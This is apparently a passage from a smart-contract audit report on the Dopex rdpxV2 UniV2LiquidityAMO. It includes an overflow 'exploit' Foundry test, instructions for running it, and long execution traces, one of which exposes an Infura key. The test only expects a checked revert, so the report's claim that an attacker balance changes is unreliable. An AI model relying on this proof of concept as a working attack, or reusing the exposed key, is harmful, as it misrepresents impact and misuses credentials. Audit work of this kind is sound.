    │   │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   │   └─ ← 2001000000000000000000 [2.001e21]
    │   │   │   ├─ [2338] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::feeTo() [staticcall]
    │   │   │   │   └─ ← 0x000000000000000000000000a19b3b22f29e23e4c04678c94cfc3e8f202137d8
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 2236067977499789696 [2.236e18])
    │   │   │   ├─ emit Sync(: 10005000000000000000000 [1e22], : 2001000000000000000000 [2.001e21])
    │   │   │   ├─ emit Mint(param0: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, param1: 5000000000000000000 [5e18], param2: 1000000000000000000 [1e18])
    │   │   │   └─ ← 2236067977499789696 [2.236e18]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000004563918244f400000000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000001f081bfa74804980
    │   ├─ [583] MockToken::balanceOf(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [583] MockToken::balanceOf(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [3315] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 0) 
    │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 0)
    │   │   └─ ← true
    │   ├─ [3315] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 0) 
    │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 0)
    │   │   └─ ← true
    │   ├─ emit LogAssetsTransfered(sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenAAmount: 0, tokenBAmount: 0)
    │   ├─ emit LogAddLiquidity(sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenAAmount: 5000000000000000000 [5e18], tokenBAmount: 1000000000000000000 [1e18], tokenAAmountMin: 0, tokenBAmountMin: 0, tokenAUsed: 5000000000000000000 [5e18], tokenBUsed: 1000000000000000000 [1e18], lpReceived: 2236067977499789696 [2.236e18])
    │   └─ ← 5000000000000000000 [5e18], 1000000000000000000 [1e18], 2236067977499789696 [2.236e18]
    ├─ [0] VM::expectRevert(Arithmetic over/underflow) 
    │   └─ ← ()
    └─ ← "Arithmetic over/underflow"

Test result: ok. 1 passed; 0 failed; finished in 791.36ms

Exploit Overflow Foundry


  function testAttackI() external payable {
        uniV2LiquidityAMO = new UniV2LiquidityAMO();

...

    // remove liquidity
     vm.expectRevert(stdError.arithmeticError);
    uniV2LiquidityAMO.removeLiquidity(uint256(1)+uint256(115792089237316195423570985008687907853269984665640564039457584007913129639935)
           ,uint256(1)+uint256(115792089237316195423570985008687907853269984665640564039457584007913129639935)
           ,uint256(1)+uint256(115792089237316195423570985008687907853269984665640564039457584007913129639935));

... 
    }

Overflow Test Case Foundry

1. Deploy functions and variables to Periphery.t.sol contract in the testAttackI function.
2. In the terminal run: ```forge test -vvv --match-path "tests/rdpxV2-core/Periphery.t.sol" --match-test "testAttackI"```
3. The attacker account balance has been updated.
4. Done.

Log Overflow Foundry

2023-08-dopex % forge test -vvvvv --match-path "tests/rdpxV2-core/Periphery.t.sol" --match-test "testAttackI"
[⠘] Compiling...
No files changed, compilation skipped

Running 1 test for tests/rdpxV2-core/Periphery.t.sol:Periphery
[PASS] testAttackI() (gas: 2216931)
Traces:
  [28714173] Periphery::setUp() 
    ├─ [0] VM::createFork(https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685, 24023149 [2.402e7]) 
    │   └─ ← 0
    ├─ [0] VM::selectFork(0) 
    │   └─ ← ()
    ├─ [1580887] → new MockToken@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 6284 bytes of code
    ├─ [1580887] → new MockToken@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 6284 bytes of code
    ├─ [1150081] → new DpxEthToken@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 5140 bytes of code
    ├─ [914315] → new RdpxReserve@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 4210 bytes of code
    ├─ [865528] → new MockRdpxV2ReceiptToken@0xc7183455a4C133Ae270771860664b6B7ec320bB1
    │   └─ ← 3871 bytes of code
    ├─ [1743662] → new RdpxV2Bond@0xa0Cb889707d426A7A386870A03bc70d1b0697598
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 8227 bytes of code
    ├─ [1768141] → new ReLPContract@0x1d1499e622D69689cdf9004d05Ec547d650Ff211
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 8365 bytes of code
    ├─ [47193] MockToken::mint(RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 100000000000000000000 [1e20]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 100000000000000000000 [1e20])
    │   └─ ← ()
    ├─ [31681] → new MockVolatilityOracle@0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
    │   └─ ← 158 bytes of code
    ├─ [37887] → new MockOptionPricing@0x03A6a84cD762D9707A21605b548aaaB891562aAb
    │   └─ ← 189 bytes of code
    ├─ [391598] → new MockRdpxEthPriceOracle@0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF
    │   └─ ← 1735 bytes of code
    ├─ [75611] → new MockDpxEthPriceOracle@0x15cF58144EF33af1e14b5208015d11F9143E27b9
    │   └─ ← 267 bytes of code
    ├─ [3802550] → new PerpetualAtlanticVault@0x212224D2F2d262cd093eE13240ca4873fcCBbA3C
    │   ├─ [1283] MockToken::symbol() [staticcall]
    │   │   └─ ← WETH
    │   ├─ [223] MockToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x241ecf16d79d0f8dbfb92cbc07fe17840425976cf0667f022fe9877caa831b08, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 17701 bytes of code
    ├─ [357] MockRdpxEthPriceOracle::updateRdpxPrice(20000000 [2e7]) 
    │   └─ ← ()
    ├─ [334] MockDpxEthPriceOracle::updateDpxEthPrice(100000000 [1e8]) 
    │   └─ ← ()
    ├─ [47193] MockToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000000000000000000000 [1e21]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 1000000000000000000000 [1e21])
    │   └─ ← ()
    ├─ [24488] PerpetualAtlanticVault::addToContractWhitelist(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   ├─ emit AddToContractWhitelist(_contract: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [743549] 0xb17b674D9c5CB2e441F8e196a2f048A81355d031::deploy_plain_pool(dpxETH-Eth-Pool, dpxETH-ETH, [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], 120, 4000000 [4e6], 0, 0) 
    │   ├─ [223] MockToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [267] DpxEthToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [9028] → new <Unknown>@0x5Aa2a79293424bf39171d704A364FDE3B641DB25
    │   │   └─ ← 45 bytes of code
    │   ├─ [21] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000000f6470784554482d4574682d506f6f6c) 
    │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000000f6470784554482d4574682d506f6f6c
    │   ├─ [21] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000000a6470784554482d455448) 
    │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000000a6470784554482d455448
    │   ├─ [294404] 0x5Aa2a79293424bf39171d704A364FDE3B641DB25::initialize(dpxETH-Eth-Pool, dpxETH-ETH, [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], [1000000000000000000 [1e18], 1000000000000000000 [1e18], 0, 0], 120, 4000000 [4e6]) 
    │   │   ├─ [291645] 0x54e8A25d0Ac0E4945b697C80b8372445FEA17A62::initialize(dpxETH-Eth-Pool, dpxETH-ETH, [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], [1000000000000000000 [1e18], 1000000000000000000 [1e18], 0, 0], 120, 4000000 [4e6]) [delegatecall]
    │   │   │   ├─ [18] PRECOMPILE::identity(43757276652e666920466163746f727920506c61696e20506f6f6c3a20) 
    │   │   │   │   └─ ← 43757276652e666920466163746f727920506c61696e20506f6f6c3a20
    │   │   │   ├─ [18] PRECOMPILE::identity(6470784554482d4574682d506f6f6c0000000000000000000000000000000000) 
    │   │   │   │   └─ ← 6470784554482d4574682d506f6f6c0000000000000000000000000000000000
    │   │   │   ├─ [18] PRECOMPILE::identity(6470784554482d455448) 
    │   │   │   │   └─ ← 6470784554482d455448
    │   │   │   ├─ [18] PRECOMPILE::identity(2d66) 
    │   │   │   │   └─ ← 2d66
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 0)
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [18] PRECOMPILE::identity(095ea7b3) 
    │   │   └─ ← 095ea7b3
    │   ├─ [27] PRECOMPILE::identity(0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 
    │   │   └─ ← 0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
    │   ├─ [24681] MockToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: 0xb17b674D9c5CB2e441F8e196a2f048A81355d031, spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [18] PRECOMPILE::identity(095ea7b3) 
    │   │   └─ ← 095ea7b3
    │   ├─ [27] PRECOMPILE::identity(0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 
    │   │   └─ ← 0000000000000000000000000000000000000000000000000000000000000044095ea7b30000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
    │   ├─ [24658] DpxEthToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: 0xb17b674D9c5CB2e441F8e196a2f048A81355d031, spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ emit PlainPoolDeployed(: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], : 120, : 4000000 [4e6], : Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 0x0000000000000000000000005aa2a79293424bf39171d704a364fde3b641db25
    ├─ [25293] MockToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000000000000000000000000 [1e24]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 1000000000000000000000000 [1e24])
    │   └─ ← ()
    ├─ [25293] MockToken::mint(0x0000000000000000000000000000000000000001, 1100000000000000000000 [1.1e21]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000001, amount: 1100000000000000000000 [1.1e21])
    │   └─ ← ()
    ├─ [3393] MockToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 20000000000000000000000 [2e22]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 20000000000000000000000 [2e22])
    │   └─ ← ()
    ├─ [2040362] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::createPair(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) 
    │   ├─ [1884378] → new <Unknown>@0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E
    │   │   └─ ← 9079 bytes of code
    │   ├─ [44728] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::initialize(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) 
    │   │   └─ ← ()
    │   ├─  emit topic 0: 0x0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9
    │   │       topic 1: 0x0000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b
    │   │       topic 2: 0x0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f
    │   │           data: 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e0000000000000000000000000000000000000000000000000000000000000453
    │   └─ ← 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e
    ├─ [239] DpxEthToken::MINTER_ROLE() [staticcall]
    │   └─ ← 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6
    ├─ [3309] DpxEthToken::grantRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   └─ ← ()
    ├─ [47290] DpxEthToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 200000000000000000000 [2e20]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 200000000000000000000 [2e20])
    │   └─ ← ()
    ├─ [24658] DpxEthToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [24681] MockToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [142631] 0x5Aa2a79293424bf39171d704A364FDE3B641DB25::add_liquidity([200000000000000000000 [2e20], 200000000000000000000 [2e20]], 0) 
    │   ├─ [142484] 0x54e8A25d0Ac0E4945b697C80b8372445FEA17A62::add_liquidity([200000000000000000000 [2e20], 200000000000000000000 [2e20]], 0) [delegatecall]
    │   │   ├─ [18] PRECOMPILE::identity(23b872dd) 
    │   │   │   └─ ← 23b872dd
    │   │   ├─ [30] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000) 
    │   │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000
    │   │   ├─ [25701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 200000000000000000000 [2e20]) 
    │   │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 200000000000000000000 [2e20])
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [21] PRECOMPILE::identity(00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001) 
    │   │   │   └─ ← 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [18] PRECOMPILE::identity(23b872dd) 
    │   │   │   └─ ← 23b872dd
    │   │   ├─ [30] PRECOMPILE::identity(000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000) 
    │   │   │   └─ ← 000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005aa2a79293424bf39171d704a364fde3b641db2500000000000000000000000000000000000000000000000ad78ebc5ac6200000
    │   │   ├─ [20577] DpxEthToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 200000000000000000000 [2e20]) 
    │   │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 200000000000000000000 [2e20])
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [21] PRECOMPILE::identity(00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001) 
    │   │   │   └─ ← 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 400000000000000000000 [4e20])
    │   │   ├─ emit AddLiquidity(param0: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], param1: [200000000000000000000 [2e20], 200000000000000000000 [2e20]], param2: [0, 0], param3: 400000000000000000000 [4e20], param4: 400000000000000000000 [4e20])
    │   │   └─ ← 0x000000000000000000000000000000000000000000000015af1d78b58c400000
    │   └─ ← 0x000000000000000000000000000000000000000000000015af1d78b58c400000
    ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [89146] MockRdpxEthPriceOracle::setAddress(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xc35DADB65012eC5796536bD9864eD8773aBc74C4, 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) 
    │   └─ ← ()
    ├─ [4973788] → new RdpxV2Core@0x2a07706473244BC757E10F2a9E86fB532828afe3
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 23795 bytes of code
    ├─ [2238307] → new RdpxDecayingBonds@0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 10582 bytes of code
    ├─ [261] RdpxV2Bond::MINTER_ROLE() [staticcall]
    │   └─ ← 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6
    ├─ [27527] RdpxV2Bond::grantRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [1621781] → new PerpetualAtlanticVaultLP@0xD16d567549A2a2a2005aEACf7fB193851603dd70
    │   ├─ [223] MockToken::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
